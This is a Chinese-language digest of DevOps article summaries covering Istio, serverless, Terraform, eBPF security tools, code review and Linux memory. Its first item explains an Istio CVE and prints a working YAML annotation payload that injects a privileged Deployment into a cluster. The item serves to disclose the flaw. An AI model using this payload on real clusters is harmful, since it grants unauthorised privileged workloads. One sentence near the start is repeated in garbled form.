標題: 「istio 下因為YAML 與 Go template 結合產生的 CVE」
類別: others
連結: https://paper.seebug.org/1882/

熟悉 Kubernetes 的使用者一定對於各式各樣的資源格式感到不陌生，譬如描寫一個 Pod 需要準備些關於 containers 的基本資料，其餘還有 Label, Annotation 等
各種資料需要填寫。

Kubernetes 內透過 apimachinery 的方式來驗證每個欄位是不是合法，譬如最常見的就是創建資源名稱時有時候會因為_等出現格式不符合，準確來說是 Pod 的方式來驗證每個欄位是不是合法，譬如最常見的就是創建資源名稱時有時候會因為_等出現格式不符合，準確來說是
透過 DNS RFC 1123 來驗證 Pod 是否合法。
部分的數值資料可能會於 Controller 中額外去檢查，至於自定義的 CRD(Customer Resource Definition) 則是創建時可以透過 openAPIV3Schema 去定義每個欄位的合法數值。

今天這篇文章要介紹的問題是跟 istio 環境的問題，當使用者創建一個名為 Gateway 的資源到叢集中時， istio 會去讀取該 Gateway 資料並且轉換為 Service/Deployment 兩個底層資源。
作者仔細研究發現創建 Service 時會從 Gateway 中的 Annotation 找到名為 "networking.istio.io/service-type" 的資料，並用其作為 Serivce 的 type.

然而 Annotation 的數值沒有並沒有任何檢查機制，所以使用者可以於該欄位 "networking.istio.io/service-type" 填入各種數值，因此作者就嘗試撰寫一個非常長的 Annotation，譬如
```
annotations:
networking.istio.io/service-type: |-
"LoadBalancer"
apiVersion: apps/v1
kind: Deployment
metadata:
name: pwned-deployment
namespace: istio-ingress
spec:
selector:
matchLabels:
app: nginx
replicas: 1
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.3
ports:
- containerPort: 80
securityContext:
privileged: true
```

結果非常順利的， isio 最終創造了一個作者故意描述的 deployment，而該 deployment 還特別的設定 privileged: true 的選項並且透過這次的測試證明該 YAML 的檢查問題導致使用者有機會插入任何想要的資源到環境中
對本文有興趣的可以觀看一下

標題: 「使用 serverless 5年後的心酸經驗談」
類別: usecases
連結: https://dev.to/brentmitchell/after-5-years-im-out-of-the-serverless-compute-cult-3f6d


本文作者想要分享自己過去五年來使用 Serveless 的經驗談，從不同角度切入導入 Serveless 後的痛點。
作者的 serverless 環境是基於 AWS 環境，使用了包含
1. API GAteway
2. Cognito
3. Lambda
4. DynamoDB
5. DAX
6. SQS/SNS/EventBridge

作者提及了幾個痛點，包含
1. Testing
2. Account Chaos
3. Security
4. No Fundamental Enforcement
5. DNS Migration Failures
6. Microservice Hell
7. API Respones 回傳不一致

這篇文章最有趣的點不是文章本身，而是底下的留言討論，雖然有少數留言是支持作者但是大部分的人都是秉持反對的意見來看這篇文章。
我自己的角度是這篇文章提出非常多問題，但是這些問題我看不太出來跟 Serveless 的關係是什麼，更多的是公司的文化，工程品質與開發工具有關
譬如作者說團隊內有很多非資深工程師會因為 serveless 的易用而依賴自己的想法去攥寫，譬如光 Auth 就有十種不同方式。
但是仔細思考這個問題，似乎 server-based 的架構也會有這問題，完全是公司的文化與規範問題。
其他問題還有很多寫 serveless 的人都沒有 HTTP 的深厚底子，所以 200,400,500 想回就回，然後回傳格式也都沒有統一固定
這些東西其實跟 serverless 也沒有直接關係，更多依然是 Code Review 的問題，工程師品質的問題。

所以有時候看文章除了單純閱讀外，也要思考一下作者講的東西自己是否認同，同時也可以看下留言處，來自不同文化與團隊的留言往往能夠帶來更大的啟發，也是閱讀網路文章上我覺得非常有價值的地方

標題: 「成為軟體架構師的閱讀之路」
類別: others
連結: https://haitham-raik.medium.com/books-for-great-software-architect-34c81fc70e12

作者認為網路上有很多文章分享想要成為一個軟體架構師應該要閱讀哪些書籍來補充知識，但是這些文章都沒有提供一個好的閱讀路徑，沒有告訴你說
這些書有什麼樣的前置條件，這群書有什麼樣的閱讀順序等，這很容易造成讀者沒有系統的四處閱讀，容易導致無聊與沮喪。

作者根據自己的經驗整理特這些書籍，並且從中找到一個閱讀順序，透過這些閱讀順序可以讓你掌握每本書籍的前置知識同時也能夠有更好的知識去思考書本所談論的內容。

作者認為軟體架構實際上還可以根據領域進行二次細分，包含
1. 應用架構
2. 整合架構
3. 資料架構

不同專項其內榮與知識都不同，因此閱讀時的路徑也會不同。所以本篇文章實際是個系列文，總共會有四篇
本篇是一個探討大綱的文章，探討一下基本概念，而後續系列文則是會針對上述三個不同面向去深度探討該怎麼閱讀

要認真踏入軟體架構前，必須要先掌握基本概念，如相關技術與工具，而作者認為學習這些基本概念的路徑就是所謂的 Design Path.
Design Path 中將會學習到
1. Domain-Driver Design(DDD)
2. Object-Oriented Design Patterns
3. Basic agile Development conecpts
4. Modeling using UML
5. Respoinsiblity-driven design(RDD)
6. ..等

針對這 Design Path，作者推薦依照順序閱讀下列書籍
1. Applying UML and Patterns, by Larman
2. Head First Design Patterns, by Freeman
3. bject Design: Roles, Responsibilities and Collaboration, by Ivar
4. Domain-Driven Design Tackling Complexity in the Heart of Software, by Eric

掌握好 Design Path 後，下一個就是 Architecture Fundamentals 的技術掌握，該過程要學習關於架構的基本概念，原則，模式與實踐方式，閱讀書籍如下
1. Fundamentals of Software Architecture, by Mark Richards
2. Clean Architecture, by Robert Martin
3. Documenting Software Architecture, by Paul Clements

標題: 「容器的除錯之路，遇到 Permission Denied 該怎麼辦」
類別: container
連結: https://live-rhes.pantheonsite.io/sysadmin/container-permission-denied-errors


作者提到大部分遇到 Container 權限問題時，最無腦的一招就是 --privileged 直接硬上權限，但是其實大家都不知道自己到底缺少什麼權限，盲目地使用 --privileged 的確可以解決問題
但是實務上卻是犧牲 Security 換來的，因為不知道缺少什麼而直接硬開，其實就是硬生生的將幾乎所有保護功能都關閉。

本篇文章就來探討當遇到權限問題時有可能是什麼造成的，以及應該如何精準地去設定這些權限而不是用一招 --privileged 跳過。
此外由於作者本身就是 Podman 開發團隊，因此文章之後的介紹與範例都會基於 Podman 來完成，


1. 錯誤定位

如果你的容器問題透過 --privileged 也不能解決，那至少你的問題跟本篇文章的關聯性不大，或是說你的問題其實根本不是安全性方面的設定問題，只有當妳確認你的問題
可以因為 --privileged 而解決時本篇文章的內容才會對你有幫助

1. Is SELinux the issue?
2. Is AppArmor the issue?
3. Test capabilities
4. Test SECCOMP
5. Test masked kernel filesystem

除了上述五個安全性設定外，作者也針對 namespace 探討可能會出現的問題，包含
1. Is user namespace the issue?
2. Is network namespace the issue?
3. Is pid namespace the issue?

最後就是不免俗的推薦大家使用看看 rootless container，畢竟大部分的應用程式其實都沒有要寫入系統的需求，理論上來說應該都要可以運行於 rootless 的模式

整篇文章整理的非常的好，每個類別都有指令操作來介紹概念，對於這些資安控管不熟的人來說可以說是一個溫習的好機會

標題: 「新手閱讀，我踩過的 Terraform 各種雷」
類別: terraform
連結: https://medium.com/contino-engineering/10-things-i-wish-i-knew-before-learning-terraform-f13637a01aa6

本篇文章作者分享自己學習與使用 Terraform 多年來遇過的各種雷，也希望藉由這類型的文章可以讓每個踏入 Terraform 的人都不要走冤枉路

1. Make sure you have a terraform block in your configuration
TF 檔案中可以透過 Terraform 區塊來描述關於 Terraform 本身的一些限制，譬如版本條件，相關的 provider 來源以及版本。
這個區塊非常重要但是本身是一個 optional 選項，所以不寫其實不影響整體功能，但是沒有去限制使用的版本範圍其實就跟任何的軟體環境一樣非常危險，
很容易踩到「昨天還可以，今天就不行的」通靈現象，所以作者希望每個人都好好的將 Terraform 區塊描述清楚，確定當前支援的版本是哪個確保該 TF 能夠用正確的版本於任何環境執行

2. Statefile 實際上本身是純文字格式，作者想要提醒的是 State 檔案作為 Terraform 同步上最重要的檔案，其本身是一個純文字明碼的格式，這意味你運行過程中的任何帳號密碼其實都是純文字的格式存放於該檔案中。
所以 State 檔案的保存非常重要，需要用很嚴肅的資安態度來保護這個檔案，否則該檔案被人取得則你 TF 中的各種資訊都會被對方取得。
作者直接於文章中展示一個範例，該範例會創建一個 AWS aws_secretsmanager_secret_version，而該物件的 secret_id, secret_string 都會以明碼的方式被存放於 State 檔案中。

3. Have verbose variables and outputs blocks
TF 中的所有變數都可以用非常簡易的方式去宣告，但是如果妥善地利用這些內建的功能將可以使得變數的使用變得更加方便，特別是當該變數要跨 Module 使用時，呼叫者可以透過更輕易的方式
去理解該變數的格式與用法。
其中最為重要的則是 validation 的內容，作者以 AWS image_id 為範例，該變數基本上就是一個字串，所以使用者可以傳遞任何變數到該欄位去使用，但是如果搭配 validation，就可以讓 TF Apply 提早
先觀察到這些變數是否合法，能夠降低與避免不必要的失敗。
所以針對每個變數都好好的撰寫相關敘述與驗證，能夠讓團隊使用上減少無謂的猜想與溝通。

4. Integrate your environment with a pipeline early
Terraform 的入門非常容易，但是當你想要將 Terraform 導入到團隊中並且與其他人共同合作時，整個使用上的複雜度會大幅度增加。
作者認為如果真的要導入 Terraform 到整個團隊中，則要盡快且盡可能地將 Terraform 導入到現有的 pipeline 架構中，譬如 Terraform Cloud 服務
能夠幫你妥善的管理這些 Lock/State 並且透過 Terraform Apply 來執行變化。

作者還有第二篇探討剩下的用法，包含
Keep your code together as much as possible
Have clear lines of demarcation on responsibility
Use multiple environment files for the same code
Familiarise yourself with HCL’s functions and meta-arguments
Terraform is not a golden bullet

有興趣的讀者建議兩篇文章都閱讀一下

標題: 「提升 DevOps 技術的免費書籍」
類別: others
連結: https://vladimir-mukhin.medium.com/free-books-that-will-boost-your-devops-game-to-the-next-level-5940482b0f96

本篇文章的重點很簡單
1. 閱讀書籍提升對於 DevOps 領域的掌握度
2. 所有書籍都是免費

這邊節錄文章中列出的所有書籍
1. Kubernetes Up & Running — Dive into the Future of Infrastructure
Kubernetes 從 2014 發行以來的八個年頭席捲全世界，作為一個 DevOps 不論你當下的環境適不適合使用 Kubernetes，你都必須要瞭解到底這個容器管理平台的魅力是什麼
為什麼可以打趴眾多競爭者成為所有容器管理平台的主要首選。
本書從開發者(Dev)以及維運者(Ops)的角度來看到底 Kubernetes 是如何提升整體工作的效率，速度與整體的靈活度


2. Designing Distributed Systems — Patterns and Paradigms for Scalable, Reliable Services
這本由 Brendan Burns 所攥寫的書籍探討了分散式系統架構上幾個常見的設計模式，事實上這些設計模式有些都可以於 Kubernetes 的設計與用法中反覆發現
所以花點時間去研究一下大師所分享的分散式系統模式的設計理念，對於未來去學習理解新系統，或是設計一套系統都會有所幫助

3. 97 Things Every Cloud Engineer Should Know — Collective Wisdom from the Experts
這本有紅帽所發行的免費書籍，書中收集了眾多資深雲端工程師的經驗，列舉了 97 個每個雲端工程師都應該要知道的事情，這 97 項包含很多東西，譬如
資料，自動化，網路，公司文化，個人發展，軟體開發以及雲端預算評估等眾多常見議題

4. Linux — Notes for Professionals
5. Production Kubernetes — Building Successful Application Platforms
6. Git — Notes for Professionals
7. Automate The Boring Stuff with Python — Practical Programming For Total Beginners

剩下的書本也都非常有趣，大家有需要時可以閱讀下列書籍

標題: 「基於 eBPF 的 ServiceMesh」
類別: networking
連結: https://isovalent.com/blog/post/2021-12-08-ebpf-servicemesh

本篇文章是 2021末 由 Cilium 背後的 isovalent 公司團隊所發表的文章，主要探討一個全新的 Service Mesh 的架構可能帶來的好處，整篇文章以 Cillium + eBPF 為背景去探討
我認為如果對於 eBPF 沒有全面理解的情況下，其實只能讀懂這篇文章想要帶來的果，沒有辦法去理解到底整體實作與運作原理，同時因為 eBPF 本身的用途除了網路(Cilium)之外有愈來愈多的底層除錯工具都是透過 eBPF 的概念來實作的，因此學習 eBPF 的概念其實帶來的好處很多，有空的都推薦大家花點時間去學習。

本文主要分成幾個部分
1. 什麼是 Service Mesh 以及目前的主流做法
2. 聊一下 Linux 網路傳輸的歷史發展
3. 基於 eBPF 的 Service Mesh 架構
4. 不同架構下的差異以及可能的隱性成本


隨者分散式應用程式架構的興起，如何針對這些散落各地的應用程式提供關於網路連線方面的資訊一直以來都是維運上的問題，過往最簡單的方式就是針對各種開發環境導入相關框架
每個應用程式都需要修改來整合這些框架，但是隨者整個架構發展與要求愈來愈多，譬如開發環境有不同程式語言，甚至有不可修改的第三方應用程式，除了網路監控外還想要導入認證授權，負載平衡等各種功能
要求每個應用程式開發者引用這些框架已經沒有辦法漂亮的滿足所有需求，因此一個能夠無視應用程式本體的透明性框架架構就變成眾人追捧與渴望的解決方案。

現今大部分的 Service Mesh 就是採取這種透明性的架構，透過額外 Proxy 來攔截應用程式的封包進行後續管理與監控，使得
1. 應用程式開發者專注自己的商業邏輯開發
2. 第三方不可修改應用程式也可以導入這些進階網路功能

以 kubernetes 來說，目前主流都是透過 sidecar 的概念，讓每個應用程式旁邊都放一個 Proxy 的應用程式，同時基於 Pod 內 Containers 可以使用 localhost 互通的方式來處理連線。
應用程式本身都透過 localhost 打到 Proxy，而所有對外連線都讓 Proxy 幫忙處理，因此所有的進階功能都實作於該 Proxy 上。

Isovalent 認為這種方式功能面上可行，但是認為如果導入 Sidecar 其實有很多隱性成本
1. 根據測試不管哪種 Service Mesh/Proxy 的解決方案都會使得真正連線的 Latency 提高 3~4 倍，這主因是 Linux Kernel 的架構導致，所有的網路封包
都必須要於 Linux Kernel Network Stack 來回繞行很多次，封包這種東西來回本身又會牽扯到 Context Switch, Memory Copy 等各種成本，所以整體 Latency 的提升是不可避免的。
2. 系統的額外資源需求，每個 Pod 都需要一個額外的 Proxy 來處理，以一個 500 節點，同時每個節點都有 30 Pod 來說，整個環境就要額外部署 15,000 的 Proxy 的 Container，每個 Container 消耗 50MB 就至少要額外 750G 的記憶體，
同時也要注意隨者 Pod/Node 等數量增加，每個 Proxy 可能就需要更多的記憶體來維護這些 Mesh(網格) 之間的資訊，因此使用的 Memory 量只會愈來愈多。

所以 Cillium/Isovalent 想要引入基於 eBPF 的架構來打造一個不同架構的 Service Mesh。透過 eBPF 的架構使得整個 Service Mesh 的發生點是發生於 Kernel 階段，而非一個獨立的 Uses Proxy。
這邊帶來的改變有
1. 基於 eBPF 的特性，其本身就有辦法針對系統上所有 Socket 去執行特定的函式，所以 Cillium 就可以偷偷去修改應用程式的網路流量，不論是修改封包內容，偵錯與監控等都可以達到
2. 不需要如同之前一樣每個 Pod 都部署一個獨立的應用程式，取而代之的是撰寫通用的 eBPF 程式來提供各種功能
3. 由於所有的事情都發生於 Kernel，甚至可以達到基於 Socket-level 的封包處理，所以封包不需要繞來繞去，整個處理的路徑非常的短，因此產生的 Latency 非常的小

非常對於這系列戰爭有興趣的人花點時間去把 eBPF 的概念補齊，接下來針對這系列的大戰與討論就能夠有更多的背景去理解

標題: 「Datree, Kubernetes Configuration 檢查工具」
類別: tools
連結: https://opensource.com/article/22/4/kubernetes-policies-config-datree

如同各類程式語言的測試框架， Kubernetes 的部署文件(YAML)實際上也是可以導入 CI 的概念，那到底 YAML 檔案有什麼東西需要檢驗？
最基本的概念大致上可以分成三種
1. YAML 語法的檢查
2. Kubernetes YAML 的語意檢查
3. Kubernetes YAML 的設定規範檢查

除了基本的 YAML 部署外，還要考慮一下團隊是採用何種方式來管理 Kubernetes App，譬如原生 YAML, Helm, Kustomize 等各種不同方法。

(1) 的話其實最基本的方式就是使用 yq 指令，其本身就可以檢查基本的 YAML 語法，如果是 Helm 的使用者也可以透過 Helm template 的方式來嘗試渲染，渲染的過程也會幫忙檢查 YAML 的合法性。
(2) 的話其實也有其他如 kubeval 等類型的工具去幫忙檢驗 YAML 內容是否符合 Kubernees Scheme，這邊要特別注意的還有版本問題，畢竟每次升級都會有很多 API Version 被調整
(3) 的話講究的是規範，譬如要求所有 workload 都必須要描述 CPU/Memory 的Request/Limit，或是要求所有容器都要以 non-root 的身份運行，
這部分有如 kube-score，或是基於 REGO 的 conftest 等工具可以檢測。

而今天分享的這個工具 datree 基本上就是一個人包辦上述三個工具，該工具基本上有兩種模式使用
1. local 使用，就如同上述所有工具一樣，你可以把所有策略與規則都放到本地環境，搭配 git hook, CI pipeline 等概念去執行
2. datree 還提供了一個中央管理 Policy 的伺服器，每個運行 datree 的環境都可以與該團隊維護的 server 連動，讓你透過網頁的方式去設定想要驗證的 k8s 版本以及想要檢測的規範有哪些。

基本上這類型的工具愈來愈多，找到一個適合團隊的工具將其整合到 CI 中，讓團隊的 Kubernetes YAML 都能夠符合團隊規範，同時也透過 CI 的流程盡可能提早地找出問題

標題: 「Tetragon, 基於 eBPF 的 Kubernetes 資安管理工具」
類別: others
連結: https://isovalent.com/blog/post/2022-05-16-tetragon

Cillium 的開發團隊 isovalent 最近公布其內部一直使用的資安相關專案， Teragon (可愛的蜜蜂戰士)。

Teragon 底層是基於 eBPF 的技術，其目的就是讓你的 Kubernetes 於資安方面可以獲得超級強大的能力，包含
1. 詳細的視覺化功能，讓你可以一目瞭然到底系統中各項資源的發生過程
2. 動態強化，可以讓你透過 Kubernetes CRD, OPA, Json 等各種格式來描述相關規範，然後動態無縫的套入到你的 Kubernetes 叢集中

探討 Teragon 前，要先理解以前目前已知的相關解決方案有哪些，而這些解決方案又有什麼樣的優缺點，包含
1. App Instrumentation
2. LD_PRELOAD
3. ptrace
4. seccomp
5. SELinux/LSM
6. Kernel Module

上述六個方式都有各自的特點，這邊簡單敘述

App Instrumentation
O 效率高，可以看到非常細部的資訊
X 程式碼需要修改，不夠透明
X 單純的視覺化，不能套入資安規則來防護應用程式
X 應用程式為主，不能理解整個系統的狀況

LD_PRELOAD (動態切換載入的 Library )
O 效率高
O 應用程式不需要修改
X 如果是 Static Llinking 的應用程式那就沒有用了
X 幾乎沒有什麼觀察性可言

ptrace (透過 kernel 提供的功能來檢視使用的 syscall)
O 透明，應用程式不用修改
X 效能負擔比較高
X 應用程式有辦法偵測到自己目前被 ptrace 給監控
X 整體範圍只能針對 syscall(系統呼叫)

seccomp (可以過濾應用程式呼叫的 syscall)
O 有效率，應用程式不需要修改
X 規則只能針對 syscall 去阻擋
X 沒有很好的視覺化方式

SELinux/LSM (Kernel 內建的 security 框架，可以針對存取去控制)
O 有效率，應用程式不需要修改
O 可防 TOCTTOU 攻擊
X 針對 Contaienr/Kubernetes 的整合很有限
X 不容易擴充
X 要針對攻擊類型去設定

Kernel Module
O 有效率，應用程式不需要修改
O 不用修改 Kernel 就可以擴充功能
X 不是每個環境都允許使用者去載入 kenrel Module
X Module 有問題會打爆你的 Kernel
X 沒辦法無縫升級，意味你升級功能的過程中必須要將kernel module給 uninstall ，然後重新安裝

上列六個解決方案有的只能檢視相關流程，有的只能設定規則去防護，但是就是沒有一個工具可以全面處理，而基於 eBPF 實作的 Tetragon 則是一個
能夠提供兩項功能的全新解決方案。

首先資安防護方面， Tetragon 採取的是更底層的概念，不去探討特定的 CVE 操作手法，取而代之的是從幾個常見的攻擊方式來防禦。
假如有任何應用程式有不預期的下列行為，就可以直接將該 Process 移除
1. 使用到不該使用的 capability
2. 使用到不該使用的 linux namespace
3. 使用到不該使用的 binary
4. 看到不該出現的 Pid
5. ...

這些規則都可以透過 Kubernetes CRD 來描述，當這些規則被送到 Kubernetes 後，相關的 Controller 就會將規則給轉換後續讓 eBPF 來處理
此外因為 eBPF 以及 kprobe 的架構，Tetragon 能夠看到非常多 kernel 的資源存取與操作，譬如
1. syscall(系統呼叫)
2. Virtual FS
3. TCP/IP
4. namespace
5. Storage
6. Network

Tetragon 收集上列不同資訊的資料後進行二次處理，透過精美的網頁來顯示系統中的各種資訊，這些資訊可以提供包含
1. 哪些 Pod 一直存取 /etc/passwd, 採用何種方式存取 /etc/passwd
2. 特定 Pod 中對外的網路流量資訊，從封包內容到用什麼指令去存取都可以看光光
3. ...

eBPF 的應用愈來愈多，而目前看起來 isovalent 更是 Kubernetes 生態系中的領頭羊，雖然不確定未來是否能夠被廣泛採用，但是至少這方面還沒有看到其他解決方案有這麼積極的基於 eBPF 來開發
有餘力的話花點時間學習一下 eBPF 的概念可以加強自己對於這類型文章的速度與理解度

標題: 「Mizu, 一套用來檢視 Kubernetes Traffic 的視覺化工具」
類別: tools
連結: https://getmizu.io/docs/


Mizu 是一個專門針對 Kubernetes 開發的流量分析工具，該工具透過簡單好用的 UI 讓你檢視叢集內的流量走向，其支持的協定有
HTTP, REST, gRPC, Kafka, AMQP 以及 Redis 等相關的應用程式封包。

雖然說透過大部分的 Service Mesh 也都可以提供一樣的功能，但是 Mizu 的特色就是其輕量的架構設計，就是針對流量分析而已，所以如果團隊目前沒有現成的解決方案時，
可以考慮試試看 Mizu 這套輕量級的解決方案。

Mizu 本身由兩個元件組成，分別是 CLI 以及 Agent，當你安裝 Mizu 的 Kubernetes 內時，其會安裝兩個元件
1. 透過 Daemonset 安裝 Agent 到所有節點
2. 透過 Pod 安裝一個 API Server

Agent 會針對需求去抓取節點上特定的 TCP 封包(目前也只有支援 TCP 流量，這意味如 ICMP, UDP, SCTP 等就沒有辦法)，此外要特別注意這類型的解決方案為了能夠
抓取到節點上的所有流量，通常都會讓這類型的 Agent 都設定為 hostnetwork: true，如此一來該 Agent 才有辦法觀察到節點上的所有網卡來進行流量擷取。

有些 k8s 環境會透過如 OPA(Gatekeeper) 等機制去控管要求所有的 Pod 不准使用 hostnetwork，有這些規範的可能就要注意一下整合上的問題。

有興趣的可以稍微玩看看，看看這類型的工具是否可以幫忙除錯

標題: 「如何提供專業 Code Review 意見」
類別: others
連結: https://medium.com/@yar.dobroskok/how-to-review-the-code-like-a-pro-6b656101eb89

作者開門見山提到，如果團隊中沒有任何 code review 文化的話，請直接忽略這篇文章。
當團隊真的有 code review 的經驗時，才有機會透過本篇文章分享的一些概念來改善整個 code review 的流程，高效率低耗時。

作者認為一個好品質的 code review 能夠幫助團隊帶來下列好處
1. 避免合併一些充滿 bug, 難讀, 無效率的程式碼到專案中
2. 開發者可以互相分享彼此的知識
3. 獲得關於實作上的各種意見
4. 確保團隊內的 coding style 一致

為了讓上述概念可以充分的導入到團隊專案中，作者分享了一些自己常用的概念與招式

*事先準備一份 Checklist*
一個好的 review 流程就是要有一份檢查清單，這份清單上面描述的是每次程式碼合併都“必須”要符合的規則，同時也是團隊很重視的規則
這份清單沒有絕對標準，主要是根據團隊去思考哪些東西是最重要的，舉例來說
1. Branch, Commit 內容與名稱是否符合規範
2. Code 是否有足夠的可讀性
3. Codesytle 以及命名規範是否符合團隊文化
4. 資料夾/檔案結構是否符合團隊文化
5. 是否有包含相關測試
6. 文件是否有一起準備

這份清單的重點是只要列入那些被視為是非常必須且重要的項目就好，不然整個清單落落長其實意義也不高


*盡可能的自動化上述檢查*
準備好前述清單後，下一個步驟就是想辦法將上述清單規範給自動化，譬如
1. 透過 linters 來檢查 codesytle
2. 運行一些如 SonarQube, Codacy 等工具來幫忙檢查是否有潛在的低效率或是有漏洞的程式碼
3. 透過相關框架運行自動化測試並且得到相關的覆蓋率報表

當有辦法自動化這些操作後，下一個步驟就是要思考什麼時候執行？
1. 針對一些快速檢查，譬如 linter, beautifer 等工具，可以考慮整合到 pre-commit hook/ pre-push Git hook 等時間點運行
這樣就可以讓開發者快速檢查簡單錯誤
2. 針對一些比較花時間的檢查，譬如分析工具，測試以及相關建置流程這些都可以放到 CI pipeline 去運行

一切都準備完畢後就可以將其整合到整個 git 工具中，譬如只有當 CI pipeline 通過的 PR 才有被人 review 的需求，如果連自動化測試都沒有辦法通過，那就是開發者的
責任要去將其完成，一切準備就緒後才要開始最後一步

* 人工介入 review *
開始人工 review 時，因為前述自動化的過程已經幫忙檢查非常多的事項，所以這時候要專注的就是運作邏輯。
能的話作者建議 review 與其慢慢看 code 猜想不如直接跟開發者一起討論 review，可以避免來回溝通花費的無效時間
此外開發者也可以更清楚地去解釋所有實作的背後理由與考量。

作者也推薦採用 IDE 來進行 code review，很多 IDE 強大的功能都能夠幫助開發者更有效率地去檢視程式碼，譬如快速找到宣告點，被呼叫點以及整個資料結構的面貌等
這些都可以省下不少時間

最後最重要的是每次 PR 的大小不能太大，這點其實也是 Linux Kernel 內一直奉行的原則，過大的修改有太多檔案要看，同時也有更多可能潛在的不相容問題要注意
這對開發者與 reviewer 來說都是個沈重的負擔，因此能的話將修改以拆分成數個有意義的 PR 分別檢視會使得整體流程更講有效率，同時也可以避免
檔案太多時可能看不下去就直接無腦 +2 的蓋章行為

標題: 「如何寫出有意義的討論訊息 」
類別: others
連結: https://conventionalcomments.org/

本篇文章非常短，大意就是探討透過文字討論事項時如何讓這些訊息更有意義，能夠讓目標受眾可以更快的理解該訊息的意義
假如今天有人想要反應「This is not worded correctly.」的概念，作者認為相對於直接撰寫「該文字措辭不當」，可以適當的加上一些是先定義好的前綴形容詞
譬如
「suggestion: This is not worded correctly.
Can we change this to match the wording of the marketing page?」

「nitpick (non-blocking): This is not worded correctly.」

透過這些有共識的形容詞可以讓團隊之間的溝通速度快，減少誤解與猜測的可能性，讓整體的溝通效率更高，譬如
「suggestion: Let's avoid using this specific function…
If we reference much of a function marked Deprecated, it is almost certain to disagree with us, sooner or later.」

「issue (ux,non-blocking): These buttons should be red, but let's handle this in a follow-up.」


透過這些形容詞能夠提醒目標受眾該討論的一些概念，同時也能夠讓對方更有想法下一步驟可以怎麼做。
作者就自己的習慣列舉了幾個下列前綴形容詞
1. Praise: 正面的去稱讚該事項
2. Nitpick: 大部分都是一些非常小然後不會影響整體功能的小問題，譬如個人偏好等相關討論
3. Suggestion: 針對當前目標有想要改進的部分，而且重點是要很明確且清楚的描述到底問題是什麼，以及為什麼需要這個改進。
4. Issue: 強調當前主題下的潛在問題，如果確定該問題已經存在，搭配 Suggestion 來描述，否則可搭配 Question 來確認該問題是否存在
5. Todo: 針對簡單且非必要的一些修改，主要是讓受眾能夠區分這些討論的重要性，能夠專注於當前更重要的事項
6. Question: 如果對於當前主題有一些不確定的問題，就使用 Question 讓其他人認知到你有問題要發問，能夠幫助你更快的得到解答。

說到底這類型的討論都是一個習慣，就如同 coding style 一樣，所有共事者有一個共識原則，大家合作起來會更加有效率有方便
文中說的方法也不是唯一的辦法，但是團隊內有一個準則文化絕對會帶來好處的

標題: 「goss, 一個簡易且迅速的 server 驗證工具」
類別: others
連結: https://github.com/aelsabbahy/goss

今天要介紹的是一個驗證工具 goss，該工具的目的非常簡單，讓系統管理員可以透過 YAML 的方式幫機器上的服務撰寫 Unit Testing
什麼情況會需要使用這類型工具？

舉例來說，當你今天部署了一個全新機器(手動/自動後)，你安裝了下列軟體
1. sshd
2. nginx
3. docker
4. ....

同時你也根據需求事先創建了一些使用者，接者你想要驗證這些軟體與相關設定是否設定完成
最直覺的方式就是手動檢查，一個一個服務與設定人工檢查

而 goss 這套軟體的目的就是讓你用 YAML 的方式去撰寫你想要驗證的所有服務，可以用來驗證包含
1. 使用者 (uid, gid, home, shell)
2. Package: 系統是否有透過 rpm, de, pacman, apk 等安裝套件
3. File: 檢查檔案資料夾是否存在
4. Addr: 用來檢查 $IP:$Port 是否可以被存取
5. Port: 用來檢查 $Port 是否有開啟
6. DNS: 用來檢查是否可以解析特定 DNS
7. Process: 檢查特定 Process 是否有開啟
8. Mount: 檢查是 Mount Point 以及相關參數
9. Kernel Param: 檢查 Kernel 參數
10. ...等

Goss 除了基本用法外，也有人基於其概念往上疊加 dgoss，用來驗證 Docker 的運行狀態，還有類似的 dcgoss，針對 docker-compose 來使用。
當然目前也很多人會透過 Ansible 的方式來自動化部屬，而 Ansible 本身其實也有相關的測試框架可以用來測試部署結果，所以到底要用哪類型的工具
來驗證 Server 等級的狀態就根據團隊需求與現有流程而定，比較沒有一個獨大的工具用法。

標題: 「/proc/meminfo 與 free 指令的內容比較」
類別: others
連結: https://access.redhat.com/solutions/406773

本篇文章要探討的是到底 /proc/meminfo 與 free 這個指令所列出來的 memory 相關資訊到底該怎麼匹配

雖然文章有特別強調主要是針對 RedHat Enterprise Linux 5,6,7,8,9，但是我認為大部分的 Linux 發行版的差異不會太大，畢竟整體都是來自於 Kernel 內的實作，我認為還是值得閱讀與理解。

對於大部分的系統管理員來說，勢必都有聽過 free 這個指令，該指令可以列出系統上當前的 memory 使用狀況，舉例來說通常會有
Total, Used, Free, Shared, Buffers, Cached 之類的欄位(不同版本可能會有些許差異)。
不熟悉的人可能會認為系統上的記憶體就只有“全部“,"使用中","閒置" 等三種類型，而實際上的記憶體處理遠比這些複雜，這也是為什麼 free 的輸出欄位會比較多的原因

除了 Free 指令外， Kernel 本身還有提供一個特殊的檔案位置讓使用者可以讀取當前的 memory 狀況，該位置為 /proc/memifno，其會提供如
MemTotal, MemFree, Buffers, Cached 等相關欄位

本文並不會針對每個欄位去探討實際上的意義，取而代之的是簡單的比對，透過幾個列表讓你清楚的知道 free 指令輸出的每個欄位要如何與 /proc/meminfo 去比較，要如何轉換等
特別要注意的是文章內有仔細地針對不同 RedHat Enterprise Linux 版本去分別探討，所以如果是 RedHat 系列的使用者更要好得閱讀並確保能夠理解自己當前使用版本的狀況

標題: 「使用 StressChaos 的經驗來學習 Pod Memory 使用情況」
類別: others
連結: https://chaos-mesh.org/blog/how-to-efficiently-stress-test-pod-memory/

本篇文章是來自於 Chaos Mesh 內的官方文章，主要是想要探討為什麼使用 Chaso Mesh 來測試記憶體狀況時結果實際狀況與設定的狀況不一致
文章一步一步的探討所有問題最後同時也整理了一些關於 Kubernetes 內的 Memory 相關機制

文章開頭，作者先部署了一個簡單的 Pod(只有一個 container)，該 Pod 針對 Memory 的部分設定 request: 200Mi, limits: 500Mi
結果作者到該 Container 中透過 free 與 top 的指令，都觀察到顯示的記憶體使用量高達 4G，這部分明顯與設定的 limits 500Mi 有所衝突
因此這邊產生了第一個點要特別注意

Kubernetes 是透過 cgroup 來計算與控管 Pod 的 Memory 用量，然而 free/top 等指令並沒有跟 cgroup 整合，因此就算跑到 container 中執行這兩個
指令看到的輸出其實都是 host 相關的，如果想要知道真正 container 相關的數量，還是要使用 cgroup 相關的指令來取得，譬如
cat /sys/fs/cgroup/memory/memory.usage_in_bytes

文章還有特別提到 Kubernetes 會針對 Request/Limit 的設定方式來將你的 Pod 分為三個等級，分別是 BestEffort, Burstable 以及 Guaranteed
